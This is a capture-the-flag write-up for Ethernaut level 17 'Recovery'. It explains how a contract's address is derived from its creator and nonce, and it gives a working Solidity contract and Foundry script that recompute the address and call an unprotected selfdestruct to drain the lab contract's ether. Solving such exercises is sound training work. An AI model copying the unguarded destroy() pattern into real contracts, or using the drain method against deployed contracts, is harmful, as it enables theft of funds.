The Ethernaut CTF Solutions | 17 - Recovery

The Ethernaut CTF Solutions | 17 - Recovery

Reclaiming the Lost: Unraveling Ethereum's Deterministic Addresses

ยท

3 min read

Goals

We are the good guys this time!

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

The hack

From the contract code, we can see that there is a public destroy() function that can be used to self-destruct the contract and force send the eth to an arbitrary address. So the challenge is to find the address of the contract that was created by the Recovery factory.

The easiest way to find it is to paste the Recovery contract address in your favorite block explorer and check for the first (and only) contract deployed from this factory! But... that is not exactly what The Ethernaut is trying to teach us here.

So let's do that the hard way.

Contract addresses are deterministic and are calculated by the following formula: keccak256(address, nonce), where:

  • address is the address of the contract (or the Ethereum address that created the transaction);

  • nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).

Based on that, how to retrieve the contract address without a block explorer?

Since Ethereum addresses are deterministic, we can manually re-calculate the lost address.

  • The Recovery contract address is 0x2333215479D476895b462Ff945f3aF5bA2d0652e (Replace with your instance address)

  • The nonce is 1 or 0x01 (contracts are initialized with nonce 1)

We can use the following code to calculate the address:

bytes32 hash = keccak256(
    abi.encodePacked(bytes1(0xd6), bytes1(0x94), recoveryAddress, bytes1(0x01))
);
address lostAddress = address(uint160(uint256(hash)));

bytes1(0xd6) and bytes1(0x94) are constants related to Recursive-Length Prefix (RLP) to encode arbitrarily nested arrays of binary data.

Now that we have the address, we can call the destroy() function to recover the funds.

Solution

Here is the full code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// Lost address: 0x9938f099Cb6d3f666C5C168830aDD46952EF421B

interface ISimpleToken {
    function destroy(address to) external;
}

contract RecoveryService {
    address private immutable recovery;

    constructor(address _recovery) {
        recovery = _recovery;
    }

    function recoverAddress() public view returns (address) {
        bytes32 hash = keccak256(
            abi.encodePacked(bytes1(0xd6), bytes1(0x94), recovery, bytes1(0x01))
        );
        return address(uint160(uint256(hash)));
    }

    function recoverFund() public {
        ISimpleToken(recoverAddress()).destroy(msg.sender);
    }
}

And the script to deploy our newly created RecoveryService contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {RecoveryService} from "../src/17_Recovery.sol";

contract PoC is Script {
    // Replace with your GateKeeperOne instance
    address private immutable recovery =
        0x2333215479D476895b462Ff945f3aF5bA2d0652e; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        RecoveryService recoveryService = new RecoveryService(recovery);
        address lostAddress = recoveryService.recoverAddress();

        console2.log(
            "Lost contract's balance before: ",
            address(lostAddress).balance
        );

        recoveryService.recoverFund();

        console2.log(
            "Lost contract's balance after: ",
            address(lostAddress).balance
        );

        vm.stopBroadcast();
    }
}

You can use the following command to run the forge script:

forge script script/17_Recovery.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Ethereum addresses are deterministic and are calculated by keccak256(address, nonce).

Reference


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย